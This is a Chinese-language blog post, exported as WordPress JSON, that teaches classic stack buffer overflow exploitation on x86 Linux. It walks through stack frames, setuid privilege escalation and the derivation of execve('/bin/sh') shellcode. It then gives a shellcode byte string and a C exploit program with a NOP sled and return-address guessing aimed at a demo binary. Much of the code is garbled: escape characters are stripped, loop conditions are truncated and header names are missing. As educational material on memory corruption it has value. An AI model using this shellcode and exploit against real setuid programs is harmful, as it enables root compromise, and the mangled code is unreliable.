{"id":46,"date":"2009-06-28T14:07:20","date_gmt":"2009-06-28T14:07:20","guid":{"rendered":""},"modified":"2011-11-18T16:47:41","modified_gmt":"2011-11-18T08:47:41","slug":"46","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/46.html","title":{"rendered":"\u6ea2\u51fa\u539f\u7406\u8bb2\u89e3"},"content":{"rendered":"<p>\u5907\u6ce8\uff1a\u6b64\u5904\u8bf4\u8bb2\u7684\u6ea2\u51fa\u4e3b\u8981\u9488\u5bf9\u5806\u6808\u6ea2\u51fa\u7684\u653b\u51fb\u5b9e\u73b0\u3002<\/p>\n<p>\u4e00\uff1a\u57fa\u7840\u77e5\u8bc6<br \/>\n\u8ba1\u7b97\u673a\u5185\u5b58\u8fd0\u884c\u5206\u914d\u7684\u533a\u57df\u5206\u4e3a3\u4e2a<br \/>\n\u7a0b\u5e8f\u6bb5\u533a\u57df\uff1a\u4e0d\u5141\u8bb8\u5199\u7684<br \/>\n\u6570\u636e\u6bb5\u533a\u57df\uff1a\u9759\u6001\u5168\u5c40\u53d8\u91cf\u662f\u4f4d\u4e8e\u6570\u636e\u6bb5\u5e76\u4e14\u5728\u7a0b\u5e8f\u5f00\u59cb\u8fd0\u884c\u7684\u65f6\u5019\u88ab\u52a0\u8f7d<br \/>\n\u5806\u6808\u533a\u57df\uff1a\u653e\u7f6e\u7a0b\u5e8f\u7684\u52a8\u6001\u7684\u7528\u4e8e\u8ba1\u7b97\u7684\u5c40\u90e8\u548c\u4e34\u65f6\u53d8\u91cf\u5219\u5206\u914d\u5728\u5806\u6808\u91cc\u9762\u548c\u5728\u8fc7\u7a0b\u8c03\u7528\u4e2d\u538b\u5165\u7684\u8fd4\u56de\u5730\u5740\u6570\u636e\u3002\u5806\u6808\u662f\u4e00\u4e2a\u5148\u5165\u540e\u51fa\u7684\u961f\u5217\u3002\u4e00\u822c\u8ba1\u7b97\u673a\u7cfb\u7edf\u5806\u6808\u7684\u65b9\u5411\u4e0e\u5185\u5b58\u7684\u65b9\u5411\u76f8\u53cd\u3002\u538b\u6808\u7684\u64cd\u4f5cpush\uff1dESP\uff0d4\uff0c\u51fa\u6808\u7684\u64cd\u4f5c\u662fpop=ESP+4.<\/p>\n<p>\u5728\u4e00\u6b21\u51fd\u6570\u8c03\u7528\u4e2d\uff0c\u5806\u6808\u4e2d\u5c06\u88ab\u4f9d\u6b21\u538b\u5165\uff1a\u53c2\u6570\uff0c\u8fd4\u56de\u5730\u5740\uff0cEBP\u3002\u5982\u679c\u51fd\u6570\u6709\u5c40\u90e8\u53d8\u91cf\uff0c\u63a5\u4e0b\u6765\uff0c\u5c31\u5728\u5806\u6808\u4e2d\u5f00\u8f9f\u76f8\u5e94\u7684\u7a7a\u95f4\u4ee5\u6784\u9020\u53d8\u91cf\u3002\u51fd\u6570\u6267\u884c\u7ed3\u675f\uff0c\u8fd9\u4e9b\u5c40\u90e8\u53d8\u91cf\u7684\u5185\u5bb9\u5c06\u88ab\u4e22\u5931\u3002\u4f46\u662f\u4e0d\u88ab\u6e05\u9664\u3002\u5728\u51fd\u6570\u8fd4\u56de\u7684\u65f6\u5019\uff0c\u5f39\u51faEBP\uff0c\u6062\u590d\u5806\u6808\u5230\u51fd\u6570\u8c03\u7528\u7684\u5730\u5740,\u5f39\u51fa\u8fd4\u56de\u5730\u5740\u5230EIP\u4ee5\u7ee7\u7eed\u6267\u884c\u7a0b\u5e8f\u3002<br \/>\n\u5728C\u8bed\u8a00\u7a0b\u5e8f\u4e2d\uff0c\u53c2\u6570\u7684\u538b\u6808\u987a\u5e8f\u662f\u53cd\u5411\u7684\u3002\u6bd4\u5982func\uff08a,b,c\uff09\u3002\u5728\u53c2\u6570\u5165\u6808\u7684\u65f6\u5019\uff0c\u662f\uff1a\u5148\u538bc\uff0c\u518d\u538bb,\u6700\u540ea.\u5728\u53d6\u53c2\u6570\u7684\u65f6\u5019\uff0c<br \/>\n\u6307\u4ee4\u6267\u884c\u7684\u56fe\u4f8b\uff1a<br \/>\n\u6307\u4ee4\u533a\u57df<br \/>\n\u6267\u884c\u7a0b\u5e8f\u533a<br \/>\n0 1 2 3<br \/>\n0<br \/>\n4<br \/>\n8 \u8c03\u7528100\u5904\u7684\u51fd\u6570\uff0c\u53c2\u65701\uff083\u4f4d\uff09\uff0c2\uff0810\u4f4d\uff09<br \/>\nC<br \/>\n10<\/p>\n<p>0 1 2 3<br \/>\n100 \u6267\u884c\u5904\u7406<br \/>\n104<br \/>\n108<br \/>\n10C<br \/>\n110 \u8fd4\u56de\u8c03\u7528<\/p>\n<p>\u5806\u6808\u533a\u57df<br \/>\n0 1 2 3<br \/>\n\u5982\u679cEBP\u5206\u914d\u7684\u7a7a\u95f4\u4e0d\u591f\u64cd\u4f5c\u5c31\u662f\u4ea7\u751f\u6ea2\u51fa\u7684\u5730\u65b9<br \/>\n200 \u4fdd\u5b58\u4ee5\u524d\u7684EBP4\u4f4d\uff08\u6570\u636e\u6bb5\u7684\u6307\u9488\uff0c\u7528\u4e8e\u53ef\u4ee5\u4f7f\u7528\u5c40\u90e8\u52a8\u6001<br \/>\n\u53d8\u91cf\uff09\u73b0\u5728\u7684EBP\u7b49\u4e8e\u5f53\u524d\u7684ESP-\u52a8\u6001\u6570\u636e\u7684\u5927\u5c0f\u503c \uff0c<br \/>\nESP=200<br \/>\n204 0C 00 00 00<br \/>\n\u6b64\u5904\u662f\u7a0b\u5e8f\u7684\u8fd4\u56de\u5730\u5740<br \/>\n208 \u53c2\u65701\uff0c\u586b\u51451\u4f4d<br \/>\n20C \u53c2\u65702\u586b\u51452\u4f4d<br \/>\n210<\/p>\n<p>\u8bb2\u89e3\u4f8b\u5b50WIN\u4e0b\u7684\u7a0b\u5e8fDEMO\uff0c\u6f14\u793a\u53c2\u6570\u5bfc\u81f4\u7684\u8fd4\u56de\u5730\u5740\u7684\u53d8\u5316<br \/>\n\u8bb2\u6e05\u4e3b\u89814\u4f4d\u7684\u586b\u5145\u95ee\u9898<br \/>\n\u53e6\u5916\u6ea2\u51fa\u8fd8\u4f1a\u5bfc\u81f4\u6570\u636e\u6bb5\u7684\u6539\u53d8<\/p>\n<p>3\uff1a\u5982\u4f55\u5229\u7528\u5806\u6808\u6ea2\u51fa<br \/>\n\u539f\u7406\u53ef\u4ee5\u6982\u62ec\u4e3a\uff1a\u7531\u4e8e\u5b57\u7b26\u4e32\u5904\u7406\u51fd\u6570\uff08gets\uff0cstrcpy\u7b49\u7b49\uff09\u6ca1\u6709\u5bf9\u6570\u7ec4\u8d8a\u754c\u52a0\u4ee5\u76d1\u89c6\u548c\u9650\u5236\uff0c\u6211\u4eec\u5229\u7528\u5b57\u7b26\u6570\u7ec4\u5199\u8d8a\u754c\uff0c\u8986\u76d6\u5806\u6808\u4e2d\u7684\u8001\u5143\u7d20\u7684\u503c\uff0c\u5c31\u53ef\u4ee5\u4fee\u6539\u8fd4\u56de\u5730\u5740\u3002 \u5728DEMO\u7684\u4f8b\u5b50\u4e2d\uff0c\u8fd9\u5bfc\u81f4CPU\u53bb\u8bbf\u95ee\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u6307\u4ee4\uff0c\u7ed3\u679c\u51fa\u9519\u3002\u4e8b\u5b9e\u4e0a\uff0c\u6211\u4eec\u5df2\u7ecf\u5b8c\u5168\u7684\u63a7\u5236\u4e86\u8fd9\u4e2a\u7a0b\u5e8f\u4e0b\u4e00\u6b65\u7684\u52a8\u4f5c\u3002\u5982\u679c\u6211\u4eec\u7528\u4e00\u4e2a\u5b9e\u9645\u5b58\u5728\u6307\u4ee4\u5730\u5740\u6765\u8986\u76d6\u8fd9\u4e2a\u8fd4\u56de\u5730\u5740\uff0cCPU\u5c31\u4f1a\u8f6c\u800c\u6267\u884c\u6211\u4eec\u7684\u6307\u4ee4\u3002<\/p>\n<p>\u90a3\u4e48\u6709\u4ec0\u4e48\u7528\u5462\uff0c\u5c31\u7b97\u4f7f\u5f97\u6211\u4eec\u7684\u7a0b\u5e8f\u53ef\u4ee5\u8df3\u8f6c\u6267\u884c\u4e00\u4e9b\u4ee3\u7801\uff0c\u5982\u4f55\u7528\u4ed6\u6765\u7a81\u7834\u7cfb\u7edf\u9650\u5236\u6765\u83b7\u5f97\u6743\u9650\u5462\uff1f<\/p>\n<p>\u4e8c\uff1a\u7cfb\u7edf\u6743\u9650\u77e5\u8bc6<br \/>\nUNIX\u7cfb\u7edf\u5728\u8fd0\u884c\u7684\u65f6\u5019\u7684\u6743\u9650\u68c0\u67e5\u4e3b\u8981\u662f\u6839\u636eUID\uff0cGID\uff0cSID \u4e09\u4e2a\u6807\u6765\u68c0\u67e5\u7684\uff0c\u4e3b\u8981\u6839\u636eSID\u6765\u68c0\u67e5\u6743\u9650<br \/>\nSU\u7cfb\u7edf\u8c03\u7528\u5c31\u662fSID\u53d8\u6210SU\u7684\u5bf9\u8c61<br \/>\nS\u7c98\u8d34\u4f4d\u4f7f\u5f97\u8fd0\u884c\u7a0b\u5e8f\u7684\u4eba\u5177\u6709\u8be5\u7a0b\u5e8f\u62e5\u6709\u8005\u4e00\u6837\u7684\u6743\u9650<br \/>\n\u4e2d\u65adROOT\u7684S\u7c98\u8d34\u4f4d\u7684\u7a0b\u5e8f\u5c31\u53ef\u4ee5\u83b7\u5f97\u8d85\u7ea7\u7528\u6237\u7684\u6743\u9650\uff0cSID\u4f4d\u7f6e\u6ca1\u88ab\u8c03\u7528\u8fd4\u56de\u4fee\u6539\u56de\u6765\u3002<br \/>\nVI\u7684S\u7c98\u8d34\u4f4d\u53ef\u4ee5\u4e2d\u65ad\u7684\u4f8b\u5b50<\/p>\n<p>\u5728UINX\u7cfb\u7edf\u4e2d\uff0c\u6211\u4eec\u7684\u6307\u4ee4\u53ef\u4ee5\u6267\u884c\u4e00\u4e2ashell\uff0c\u8fd9\u4e2ashell\u5c06\u83b7\u5f97\u548c\u88ab\u6211\u4eec\u5806\u6808\u6ea2\u51fa\u7684\u7a0b\u5e8f\u76f8\u540c\u7684\u6743\u9650\u3002\u5982\u679c\u8fd9\u4e2a\u7a0b\u5e8f\u662fsetuid\u7684\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u83b7\u5f97root shell\u3002<\/p>\n<p>\u4e09\uff1a\u6ea2\u51fa\u7a81\u7834\u6743\u9650\u7684\u5b9e\u73b0<br \/>\n\u9996\u5148\u8981\u7f16\u5199SHELLCODE\u76842\u8fdb\u5236\u4ee3\u7801\u4f5c\u4e3a\u6ea2\u51fa\u7684\u53c2\u6570\u8fdb\u884c\u4f20\u5165\uff1a<br \/>\nshellcode\u7684C\u7a0b\u5e8f<\/p>\n<p>\u6ce8\u610f\uff1aexecve\u51fd\u6570\u5c06\u6267\u884c\u4e00\u4e2a\u7a0b\u5e8f\u3002\u4ed6\u9700\u8981\u7a0b\u5e8f\u7684\u540d\u5b57\u5730\u5740\u4f5c\u4e3a\u7b2c\u4e00\u4e2a\u53c2\u6570\u3002\u4e00\u4e2a\u5185\u5bb9\u4e3a\u8be5\u7a0b\u5e8f\u7684argv\uff08argv[n-1]=0\uff09\u7684\u6307\u9488\u6570\u7ec4\u4f5c\u4e3a\u7b2c\u4e8c\u4e2a\u53c2\u6570\uff0c\u4ee5\u53ca(char*) 0\u4f5c\u4e3a\u7b2c\u4e09\u4e2a\u53c2\u6570\u3002<br \/>\n\u6211\u4eec\u6765\u770b\u4ee5\u770bexecve\u7684\u6c47\u7f16\u4ee3\u7801\uff1a<br \/>\n0x804ce7c &lt;__execve&gt;: push %ebp \u2018\u4fdd\u5b58\u4ee5\u524d\u7684\u6570\u636e\u6bb5\u5730\u5740<br \/>\n0x804ce7d &lt;__execve+1&gt;: mov %esp,%ebp \u2018\u4f7f\u5f97\u5f53\u524d\u6570\u636e\u6bb5\u6307\u5411\u5806\u6808<br \/>\n0x804ce7f &lt;__execve+3&gt;: push %edi<br \/>\n0x804ce80 &lt;__execve+4&gt;: push %ebx \u2018\u4fdd\u5b58<br \/>\n0x804ce81 &lt;__execve+5&gt;: mov 0x8(%ebp),%edi \u2018ebp+8\u662f\u7b2c\u4e00\u4e2a\u53c2\u6570&#8221;\/bin\/sh\ufffd&#8221;<br \/>\n0x804ce84 &lt;__execve+8&gt;: mov $0x0,%eax \u2018\u6e050<br \/>\n0x804ce89 &lt;__execve+13&gt;: test %eax,%eax<br \/>\n0x804ce8b &lt;__execve+15&gt;: je 0x804ce92 &lt;__execve+22&gt;<br \/>\n0x804ce8d &lt;__execve+17&gt;: call 0x0<br \/>\n0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx \u2018\u8bbe\u7f6eNAME[0]\u53c2\u6570\uff0c4\u5b57\u8282\u5bf9\u9f50<br \/>\n0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx\uff0c\u8bbe\u7f6eNAME[1]\u53c2\u6570\uff0c4\u5b57\u8282\u5bf9\u9f50<br \/>\n0x804ce98 &lt;__execve+28&gt;: push %ebx<br \/>\n0x804ce99 &lt;__execve+29&gt;: mov %edi,%ebx<br \/>\n0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax \u2018\u8bbe\u7f6eXB\u53f7\u8c03\u7528<br \/>\n0x804cea0 &lt;__execve+36&gt;: int $0x80 \u2018\u8c03\u7528\u6267\u884c<br \/>\n0x804cea2 &lt;__execve+38&gt;: pop %ebx<br \/>\n0x804cea3 &lt;__execve+39&gt;: mov %eax,%ebx<br \/>\n0x804cea5 &lt;__execve+41&gt;: cmp $0xfffff000,%ebx<br \/>\n0x804ceab &lt;__execve+47&gt;: jbe 0x804cebb &lt;__execve+63&gt;<br \/>\n0x804cead &lt;__execve+49&gt;: call 0x8048324 &lt;__errno_location&gt;<br \/>\n0x804ceb2 &lt;__execve+54&gt;: neg %ebx<br \/>\n0x804ceb4 &lt;__execve+56&gt;: mov %ebx,(%eax)<br \/>\n0x804ceb6 &lt;__execve+58&gt;: mov $0xffffffff,%ebx<br \/>\n0x804cebb &lt;__execve+63&gt;: mov %ebx,%eax<br \/>\n0x804cebd &lt;__execve+65&gt;: lea 0xfffffff8(%ebp),%esp<br \/>\n0x804cec0 &lt;__execve+68&gt;: pop %ebx<br \/>\n0x804cec1 &lt;__execve+69&gt;: pop %edi<br \/>\n0x804cec2 &lt;__execve+70&gt;: leave<br \/>\n0x804cec3 &lt;__execve+71&gt;: ret<\/p>\n<p>\u7cbe\u7ec3\u7684\u8c03\u7528\u65b9\u6cd5\u662f<br \/>\n0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx \u2018\u8bbe\u7f6eNAME[0]\u53c2\u6570\uff0c4\u5b57\u8282\u5bf9\u9f50<br \/>\n0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx\uff0c\u8bbe\u7f6eNAME[1]\u53c2\u6570\uff0c4\u5b57\u8282\u5bf9\u9f50<br \/>\n0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax \u2018\u8bbe\u7f6eXB\u53f7\u8c03\u7528<br \/>\n0x804cea0 &lt;__execve+36&gt;: int $0x80 \u2018\u8c03\u7528\u6267\u884c<\/p>\n<p>\u53e6\u5916\u8981\u6267\u884c\u4e00\u4e2aexit\uff08\uff09\u7cfb\u7edf\u8c03\u7528\uff0c\u7ed3\u675fshellcode\u7684\u6267\u884c\u3002<br \/>\n0x804ce60 &lt;_exit&gt;: mov %ebx,%edx<br \/>\n0x804ce62 &lt;_exit+2&gt;: mov 0x4(%esp,1),%ebx \u8bbe\u7f6e\u53c2\u65700<br \/>\n0x804ce66 &lt;_exit+6&gt;: mov $0x1,%eax \u20181\u53f7\u8c03\u7528<br \/>\n0x804ce6b &lt;_exit+11&gt;: int $0x80<br \/>\n0x804ce6d &lt;_exit+13&gt;: mov %edx,%ebx<br \/>\n0x804ce6f &lt;_exit+15&gt;: cmp $0xfffff001,%eax<br \/>\n0x804ce74 &lt;_exit+20&gt;: jae 0x804d260 &lt;__syscall_error&gt;<\/p>\n<p>\u90a3\u4e48\u603b\u7ed3\u4e00\u4e0b\uff0c\u5408\u6210\u7684\u6c47\u7f16\u4ee3\u7801\u4e3a\uff1a<br \/>\nmov 0xc(%ebp),%ecx<br \/>\nmov 0x10(%ebp),%edx<br \/>\nmov $0xb,%eax<br \/>\nint $0x80<br \/>\nmov 0x4(%esp,1),%ebx<br \/>\nmov $0x1,%eax<br \/>\nint $0x80<\/p>\n<p>\u4f46\u95ee\u9898\u5728\u4e8e\u6211\u4eec\u5fc5\u987b\u628a\u8fd9\u4e2a\u7a0b\u5e8f\u4f5c\u4e3a\u5b57\u7b26\u4e32\u7684\u53c2\u6570\u4f20\u7ed9\u6ea2\u51fa\u7684\u7a0b\u5e8f\u8fdb\u884c\u8c03\u7528\uff0c\u5982\u4f55\u6765\u5206\u914d\u548c\u5b9a\u4f4d\u5b57\u7b26\u4e32\u201c\/bin\/sh\u201d,\u8fd8\u5f97\u6709\u4e00\u4e2aname\u6570\u7ec4\u3002\u6211\u4eec\u53ef\u4ee5\u6784\u9020\u5b83\u4eec\u51fa\u6765\uff0c\u53ef\u662f\uff0c\u5728shellcode\u4e2d\u5982\u4f55\u77e5\u9053\u5b83\u4eec\u7684\u5730\u5740\u5462\uff1f\u6bcf\u4e00\u6b21\u7a0b\u5e8f\u90fd\u662f\u52a8\u6001\u52a0\u8f7d\uff0c\u5b57\u7b26\u4e32\u548cname\u6570\u7ec4\u7684\u5730\u5740\u90fd\u4e0d\u662f\u56fa\u5b9a\u7684\u3002<br \/>\n\u5229\u7528call\u538b\u5165\u4e0b\u4e00\u6761\u8bed\u53e5\u7684\u8fd4\u56de\u5730\u5740\uff0c\u628a\u6570\u636e\u4f5c\u4e3a\u4e0b\u4e00\u6761\u6307\u4ee4\u6211\u4eec\u5c31\u53ef\u4ee5\u8fbe\u5230\u76ee\u7684\u3002<br \/>\nJmp CALL<br \/>\nPopl %esi \u2018\u5229\u7528CALL\u5f39\u51fa\u538b\u5165\u7684\u4e0b\u4e00\u6761\u8bed\u53e5\u7684\u5730\u5740\uff0c\u5176\u5b9e\u5c31\u662f\u6211\u4eec\u6784\u9020\u7684\u5b57\u7b26\u4e32\u7684\u5730\u5740<br \/>\nmovb $0x0,0x7(%esi) \u2018\u8f93\u51650\u7684\u5b57\u7b26\u4e32\u4e3a\u7ed3\u5c3e<br \/>\nmov %esi,0X8 (%esi) \u2018\u6784\u9020NAME\u6570\u7ec4\uff0c\u653e\u5982\u5b57\u4e32\u7684\u5730\u5740\u4f5c\u4e3aNAME[0]<br \/>\nmov $0x0,0xc(%esi) \u2018\u6784\u9020NAME[1]\u4e3aNULL\uff0c NAME[0]\u4e3a4\u4f4d\u5730\u5740\uff0c\u6240\u4ee5\u504f\u79fb\u4e3a0xc<br \/>\nmov %esi,%ebx \u2018\u8bbe\u7f6e\u6570\u636e\u6bb5\u5f00\u59cb\u7684\u5730\u5740<br \/>\nleal 0x8(%esi),%ecx \u2018\u8bbe\u7f6e\u53c2\u65701<br \/>\nleal 0xc(%esi),%edx \u2018\u8bbe\u7f6e\u53c2\u65702<br \/>\nmov $0xb,%eax \u2018\u8bbe\u7f6e\u8c03\u7528\u53f7<br \/>\nint $0x80 \u2018\u8c03\u7528<br \/>\nmov $0x0,%ebx<br \/>\nmov $0x1,%eax<br \/>\nint $0x80<br \/>\nCall popl<br \/>\n.string &#8220;\/bin\/sh&#8221;<\/p>\n<p>\u7136\u540e\u901a\u8fc7C\u7f16\u8bd1\u5668\u7f16\u5199MYSHELLASM.C<br \/>\n\u8fd0\u884c\u51fa\u9519\uff0c\u539f\u56e0\u4ee3\u7801\u6bb5\u4e0d\u5141\u8bb8\u8fdb\u884c\u4fee\u6539\uff0c\u4f46\u662f\u5bf9\u4e8e\u6211\u4eec\u6ea2\u51fa\u662f\u53ef\u4ee5\u7684\uff0c\u539f\u56e0\u5728\u4e8e\u6ea2\u51fa\u662f\u5728\u6570\u636e\u6bb5\u8fd0\u884c\u7684\uff0c\u901a\u8fc7GDB\u67e5\u770b16\u8fdb\u5236\u7801\uff0c\u5012\u51faASCII\u5b57\u7b26\u5199\u51faTEST.C\u7a0b\u5e8f\u6765\u9a8c\u8bc1MYSHELLASM\u53ef\u4ee5\u8fd0\u884c<br \/>\nret = (int *)&amp;ret + 2; \/\/ret \u7b49\u4e8emain\uff08\uff09\u6267\u884c\u5b8c\u540e\u7684\u8fd4\u56de\u7cfb\u7edf\u7684\u5730\u5740<br \/>\n\/\/(\uff0b2\u662f\u56e0\u4e3a\uff1a\u6709pushl ebp ,\u5426\u5219\u52a01\u5c31\u53ef\u4ee5\u4e86\u3002)<\/p>\n<p>\u4f46\u662f\u5728\u5806\u6808\u6ea2\u51fa\u4e2d\uff0c\u5173\u952e\u5728\u4e8e\u5b57\u7b26\u4e32\u6570\u7ec4\u7684\u5199\u8d8a\u754c\u3002\u4f46\u662f\uff0cgets\uff0cstrcpy\u7b49\u5b57\u7b26\u4e32\u51fd\u6570\u5728\u5904\u7406\u5b57\u7b26\u4e32\u7684\u65f6\u5019\uff0c\u4ee5&#8221;\ufffd&#8221; \u4e3a\u5b57\u7b26\u4e32\u7ed3\u5c3e\u3002\u9047\ufffd\u5c31\u7ed3\u675f\u4e86\u5199\u64cd\u4f5c\u3002Myshell\u4e2d\u67090X00\u7684\u5b57\u7b26\u5b58\u5728\u3002<br \/>\n\u628a\u6240\u6709\u8d4b\u4e880\u7684\u64cd\u4f5c\u7528\u5f02\u6216\u6216\u8005MOV\u5df2\u77e5\u4e3a0\u7684\u5bc4\u5b58\u5668\u8d4b\u503c\u6765\u5b8c\u6210<br \/>\njmp 0x1f<br \/>\npopl %esi<br \/>\nmovl %esi,0x8(%esi)<br \/>\nxorl %eax,%eax<br \/>\nmovb %eax,0x7(%esi)<br \/>\nmovl %eax,0xc(%esi)<br \/>\nmovb $0xb,%al<br \/>\nmovl %esi,%ebx<br \/>\nleal 0x8(%esi),%ecx<br \/>\nleal 0xc(%esi),%edx<br \/>\nint $0x80<br \/>\nxorl %ebx,%ebx<br \/>\nmovl %ebx,%eax<br \/>\ninc %eax<br \/>\nint $0x80<br \/>\ncall -0x24<br \/>\n.string &#8220;\/bin\/sh&#8221;<\/p>\n<p>\u6c47\u7f16\u5f97\u51fa\u7684<br \/>\nshellcode =<br \/>\n&#8220;x55x89xe5xebx1fx5ex89x76x08x31xc0x88x46x07x89x46&#8221;<br \/>\n&#8220;x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89&#8221;<br \/>\n&#8220;xd8x40xcdx80xe8xdcxffxffxff\/bin\/sh&#8221;;<\/p>\n<p>\u6211\u4eec\u5f00\u59cb\u6765\u5199\u4e00\u4e2a\u653b\u51fbDEMO\u6ea2\u51fa\u7684\u4f8b\u5b50<br \/>\n1:\u628a\u6211\u4eec\u7684shellcode\u63d0\u4f9b\u7ed9\u4ed6\uff0c\u8ba9\u4ed6\u53ef\u4ee5\u8bbf\u95eeshellcode\u3002<br \/>\n2:\u4fee\u6539\u4ed6\u7684\u8fd4\u56de\u5730\u5740\u4e3ashellcode\u7684\u5165\u53e3\u5730\u5740\u3002<\/p>\n<p>\u5bf9\u4e8estrcpy\u51fd\u6570\uff0c\u6211\u4eec\u8981\u77e5\u9053\u88ab\u6ea2\u51fa\u7684\u7f13\u51b2\u7684\u7684\u5730\u5740\u3002\u5bf9\u4e8e\u64cd\u4f5c\u7cfb\u7edf\u6765\u8bf4\uff0c\u4e00\u4e2ashell\u4e0b\u7684\u6bcf\u4e00\u4e2a\u7a0b\u5e8f\u7684\u5806\u6808\u6bb5\u5f00\u59cb\u5730\u5740\u90fd\u662f \u76f8\u540c\u7684 \u3002\u6211\u4eec\u9700\u8981\u5185\u90e8\u5199\u4e00\u4e2a\u8c03\u7528\u6765\u83b7\u5f97\u8fd0\u884c\u65f6\u7684\u5806\u6808\u8d77\u59cb\u5730\u5740\uff0c\u6765\u77e5\u9053\u4e86\u76ee\u6807\u7a0b\u5e8f\u5806\u6808\u7684\u5f00\u59cb\u5730\u5740\u3002<br \/>\n\uff08\u6240\u6709C\u51fd\u6570\u7684\u8fd4\u56de\u503c\u90fd\u653e\u5728eax \u5bc4\u5b58\u5668 \u91cc\u9762\uff09:<br \/>\nunsigned long get_sp(void) {<br \/>\n__asm__(&#8220;movl %esp,%eax&#8221;);<br \/>\n}<br \/>\nbuffer\u76f8\u5bf9\u4e8e\u5806\u6808\u5f00\u59cb\u5730\u5740\u7684\u504f\u79fb\uff0c\u5bf9\u4e8eDEMO\u6211\u4eec\u53ef\u4ee5\u8ba1\u7b97\u51fa\u6765\uff0c\u4f46\u5bf9\u4e8e\u771f\u6b63\u6709\u6ea2\u51fa\u6bdb\u75c5\u7684\u7a0b\u5e8f\u6211\u4eec\u5728\u6ca1\u6709\u6e90\u4ee3\u7801\u548c\u53bb\u8ddf\u8e2a\u6c47\u7f16\u662f\u65e0\u6cd5\u8ba1\u7b97\u51fa\u7684\uff0c\u53ea\u80fd\u9760\u731c\u6d4b\u4e86\u3002\u4e0d\u8fc7\uff0c\u4e00\u822c\u7684\u7a0b\u5e8f\u5806\u6808\u5927\u7ea6\u662f \u51e0K \u5de6\u53f3\u3002\u4e3a\u4e86\u63d0\u9ad8\u547d\u4e2d\u7387\uff0c\u589e\u52a0\u6ea2\u51fa\u7684SHELLCODE\u7684\u957f\u5ea6\u548cNOP\u6307\u4ee4\uff0cNOP\u6307\u4ee4\u7684\u673a\u5668\u7801\u4e3a0x90\u3002 \u540c\u65f6\u5728\u6211\u4eec\u7684\u7a0b\u5e8f\u4e2d\u5141\u8bb8\u8f93\u5165\u53c2\u6570\u6765\u8c03\u8282\u6ea2\u51fa\u70b9\u3002<br \/>\n#include<br \/>\n#include<br \/>\n#define OFFSET 0<br \/>\n#define RET_POSITION 120<br \/>\n#define RANGE 20<br \/>\n#define NOP 0x90<\/p>\n<p>char shellcode[]=<br \/>\n&#8220;x55x89xe5xebx1fx5ex89x76x08x31xc0x88x46x07x89x46&#8221;<br \/>\n&#8220;x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89&#8221;<br \/>\n&#8220;xd8x40xcdx80xe8xdcxffxffxff\/bin\/sh&#8221;;<\/p>\n<p>unsigned long get_sp(void)<br \/>\n{<br \/>\n__asm__(&#8220;movl %esp,%eax&#8221;);<br \/>\n}<\/p>\n<p>main(int argc,char **argv)<br \/>\n{<br \/>\nchar buff[RET_POSITION+RANGE+1],*ptr;<br \/>\nlong addr;<br \/>\nunsigned long sp;<br \/>\nint offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;<br \/>\nint i;<\/p>\n<p>if(argc&gt;1)<br \/>\noffset=atoi(argv[1]);<\/p>\n<p>sp=get_sp();<br \/>\naddr=sp-offset;<\/p>\n<p>for(i=0;i *((long *)&amp;(buff))=addr;<\/p>\n<p>for(i=0;i buff=NOP;<\/p>\n<p>ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;<br \/>\nfor(i=0;i *(ptr++)=shellcode;<br \/>\nbuff[bsize-1]=&#8221;\ufffd&#8221;<br \/>\nfor(i=0;i&lt;132;i++)<br \/>\nprintf(&#8220;0x%08x<br \/>\n&#8220;,buff);<br \/>\nprintf(&#8220;Jump to 0x%08x<br \/>\n&#8220;,addr);<\/p>\n<p>execl(&#8220;.\/demo&#8221;,&#8221;demo&#8221;,buff,0);<br \/>\n}<br \/>\n\u6ce8\u610f\uff0c\u5982\u679c\u53d1\u73b0\u6ea2\u51fa\u5141\u8bb8\u7684\u7a7a\u95f4\u4e0d\u8db3\u591fSHELLCODE\u7684\u4ee3\u7801\uff0c\u90a3\u4e48\u53ef\u4ee5\u628a\u5730\u5740\u653e\u5230\u524d\u9762\u53bb\uff0cSHELLCODE\u653e\u5728\u5730\u5740\u7684\u540e\u9762\uff0c\u7a0b\u5e8f\u8fdb\u884c\u4e00\u4e9b\u6539\u52a8\uff0c\u539f\u7406\u4e00\u81f4<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5907\u6ce8\uff1a\u6b64\u5904\u8bf4\u8bb2\u7684\u6ea2\u51fa\u4e3b\u8981\u9488\u5bf9\u5806\u6808\u6ea2\u51fa\u7684\u653b\u51fb\u5b9e\u73b0\u3002 \u4e00\uff1a\u57fa\u7840\u77e5\u8bc6 \u8ba1\u7b97\u673a\u5185\u5b58\u8fd0\u884c\u5206 &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/46.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[77],"class_list":["post-46","post","type-post","status-publish","format-standard","hentry","tag-77"],"views":779,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/46","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=46"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/46\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=46"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerob